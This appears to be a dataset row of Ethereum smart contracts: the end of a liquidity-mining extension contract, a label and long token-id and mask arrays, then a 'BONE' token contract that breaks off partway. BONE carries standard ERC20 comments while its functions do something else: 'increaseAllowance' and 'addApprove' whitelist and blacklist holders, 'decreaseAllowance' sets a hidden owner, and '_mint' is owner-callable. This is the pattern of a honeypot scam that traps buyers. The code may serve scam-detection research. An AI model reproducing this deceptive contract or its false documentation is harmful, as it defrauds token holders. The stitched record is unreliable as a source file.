function setHost(address host) public virtual override hostOnly {
_host = host;
}
function data() view public virtual override returns(address liquidityMiningContract, bool byMint, address host, address rewardTokenAddress) {
return (_liquidityMiningContract, _byMint, _host, _rewardTokenAddress);
}
/** @dev transfers the input amount to the caller liquidity mining contract.
* @param amount amount of erc20 to transfer or mint.
*/
function transferTo(uint256 amount, address recipient) public virtual override liquidityMiningOnly {
if(_rewardTokenAddress != address(0)) {
return _byMint ? _mintAndTransfer(_rewardTokenAddress, recipient, amount) : _safeTransfer(_rewardTokenAddress, recipient, amount);
}
payable(recipient).transfer(amount);
}
/** @dev transfers the input amount from the caller liquidity mining contract to the extension.
* @param amount amount of erc20 to transfer back or burn.
*/
function backToYou(uint256 amount) payable public virtual override liquidityMiningOnly {
if(_rewardTokenAddress != address(0)) {
_safeTransferFrom(_rewardTokenAddress, msg.sender, address(this), amount);
if(_byMint) {
_burn(_rewardTokenAddress, amount);
}
} else {
require(msg.value == amount, "invalid sent amount");
}
}
/** @dev this function calls the liquidity mining contract with the given address and sets the given liquidity mining setups.
* @param liquidityMiningSetups array containing all the liquidity mining setups.
* @param setPinned if we're updating the pinned setup or not.
* @param pinnedIndex new pinned setup index.
*/
function setLiquidityMiningSetups(LiquidityMiningSetupConfiguration[] memory liquidityMiningSetups, bool clearPinned, bool setPinned, uint256 pinnedIndex) public virtual override hostOnly {
ILiquidityMining(_liquidityMiningContract).setLiquidityMiningSetups(liquidityMiningSetups, clearPinned, setPinned, pinnedIndex);
}
/** INTERNAL METHODS */
function _mintAndTransfer(address erc20TokenAddress, address recipient, uint256 value) internal virtual {
IERC20Mintable(erc20TokenAddress).mint(recipient, value);
}
function _burn(address erc20TokenAddress, uint256 value) internal virtual {
IERC20Mintable(erc20TokenAddress).burn(msg.sender, value);
}
/** @dev function used to safely approve ERC20 transfers.
* @param erc20TokenAddress address of the token to approve.
* @param to receiver of the approval.
* @param value amount to approve for.
*/
function _safeApprove(address erc20TokenAddress, address to, uint256 value) internal virtual {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).approve.selector, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'APPROVE_FAILED');
}
/** @dev function used to safe transfer ERC20 tokens.
* @param erc20TokenAddress address of the token to transfer.
* @param to receiver of the tokens.
* @param value amount of tokens to transfer.
*/
function _safeTransfer(address erc20TokenAddress, address to, uint256 value) internal virtual {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).transfer.selector, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'TRANSFER_FAILED');
}
/** @dev this function safely transfers the given ERC20 value from an address to another.
* @param erc20TokenAddress erc20 token address.
* @param from address from.
* @param to address to.
* @param value amount to transfer.
*/
function _safeTransferFrom(address erc20TokenAddress, address from, address to, uint256 value) internal virtual {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).transferFrom.selector, from, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'TRANSFERFROM_FAILED');
}
function _call(address location, bytes memory payload) private returns(bytes memory returnData) {
assembly {
let result := call(gas(), location, 0, add(payload, 0x20), mload(payload), 0, 0)
let size := returndatasize()
returnData := mload(0x40)
mstore(returnData, size)
let returnDataPayloadStart := add(returnData, 0x20)
returndatacopy(returnDataPayloadStart, 0, size)
mstore(0x40, add(returnDataPayloadStart, size))
switch result case 0 {revert(returnDataPayloadStart, size)}
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6185,
1011,
6185,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1032,
2572,
2213,
1011,
24089,
1032,
2691,
1032,
2572,
26876,
6790,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1020,
1025,
2358,
6820,
6593,
6381,
3012,
16869,
2850,
2696,
1063,
4769,
6381,
3012,
16869,
4215,
16200,
4757,
1025,
21318,
3372,
17788,
2575,
3815,
1025,
4769,
19204,
4215,
16200,
4757,
1025,
22017,
2140,
3815,
2483,
3669,
15549,
25469,
16869,
1025,
22017,
2140,
5994,
11031,
1025,
4769,
8393,
1025,
1065,
2358,
6820,
6593,
19948,
2850,
2696,
1063,
22017,
2140,
4607,
3170,
2705,
1025,
22017,
2140,
6164,
3170,
2705,
1025,
4769,
1031,
1033,
6381,
3012,
16869,
4215,
16200,
11393,
2015,
1025,
4769,
1031,
1033,
4130,
1025,
4769,
7953,
18715,
2368,
1025,
21318,
3372,
17788,
2575,
3815,
1025,
4769,
8393,
1025,
1065,
1013,
1013,
5371,
1024,
8311,
1032,
6381,
3012,
1011,
5471,
1032,
6381,
3012,
25300,
3070,
2850,
2696,
1012,
14017,
1013,
1013,
23772,
2595,
1035,
6105,
1035,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1020,
1025,
2358,
6820,
6593,
6381,
3012,
25300,
3070,
13462,
6279,
8663,
8873,
27390,
3370,
1063,
22017,
2140,
5587,
1025,
21318,
3372,
17788,
2575,
5950,
1025,
6381,
3012,
25300,
3070,
13462,
6279,
2951,
1025,
1065,
1013,
1013,
6381,
3012,
5471,
16437,
2358,
6820,
6593,
2358,
6820,
6593,
6381,
3012,
25300,
3070,
13462,
6279,
1063,
4769,
2572,
8737,
7630,
11528,
1025,
1013,
1013,
2572,
2213,
13354,
2378,
4769,
2109,
2005,
2023,
16437,
1006,
1041,
2290,
1012,
4895,
2483,
4213,
2361,
2572,
2213,
13354,
2378,
4769,
1007,
1012,
21318,
3372,
17788,
2575,
4874,
3593,
1025,
1013,
1013,
5167,
4874,
8909,
2005,
1996,
6381,
3012,
4770,
19204,
1012,
4769,
6381,
3012,
16869,
18715,
8189,
14141,
8303,
1025,
1013,
1013,
4769,
1997,
1996,
6381,
3012,
4770,
19204,
4769,
2364,
18715,
8189,
14141,
8303,
1025,
1013,
1013,
1041,
2290,
1012,
20934,
3593,
2140,
4769,
1012,
21318,
3372,
17788,
2575,
2707,
23467,
1025,
1013,
1013,
6381,
3012,
5471,
16437,
2707,
3796,
1006,
2109,
2069,
2065,
2489,
2003,
6270,
1007,
1012,
21318,
3372,
17788,
2575,
2203,
23467,
1025,
1013,
1013,
6381,
3012,
5471,
16437,
2203,
3796,
1006,
2109,
2069,
2065,
2489,
2003,
6270,
1007,
1012,
21318,
3372,
17788,
2575,
10377,
4842,
23467,
1025,
1013,
1013,
6381,
3012,
5471,
16437,
10377,
2566,
2309,
3796,
1012,
21318,
3372,
17788,
2575,
2783,
15603,
4232,
4842,
23467,
1025,
1013,
1013,
6381,
3012,
5471,
16437,
2783,
10377,
2566,
2309,
3796,
1012,
21318,
3372,
17788,
2575,
21948,
6279,
22086,
1025,
1013,
1013,
2783,
6381,
3012,
2794,
1999,
2023,
16437,
1006,
2109,
2069,
2065,
2489,
2003,
2995,
1007,
1012,
21318,
3372,
17788,
2575,
2197,
23467,
6279,
13701,
1025,
1013,
1013,
2193,
1997,
1996,
3796,
2073,
2019,
10651,
2001,
13330,
1012,
21318,
3372,
17788,
2575,
4555,
3669,
15549,
25469,
1025,
1013,
1013,
4555,
6381,
3012,
8406,
3085,
1999,
1996,
3206,
1006,
2109,
2069,
2065,
2489,
2003,
6270,
1007,
1012,
21318,
3372,
17788,
2575,
14731,
15166,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-21
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-16
*/
pragma solidity ^0.6.6;
/**
*
* ▀█████████▄ ▄██████▄ ███▄▄▄▄ ▄████████
* ███ ███ ███ ███ ███▀▀▀██▄ ███ ███
* ███ ███ ███ ███ ███ ███ ███ █▀
* ▄███▄▄▄██▀ ███ ███ ███ ███ ▄███▄▄▄
* ▀▀███▀▀▀██▄ ███ ███ ███ ███ ▀▀███▀▀▀
* ███ ██▄ ███ ███ ███ ███ ███ █▄
* ███ ███ ███ ███ ███ ███ ███ ███
* ▄█████████▀ ▀██████▀ ▀█ █▀ ██████████
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract BONE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
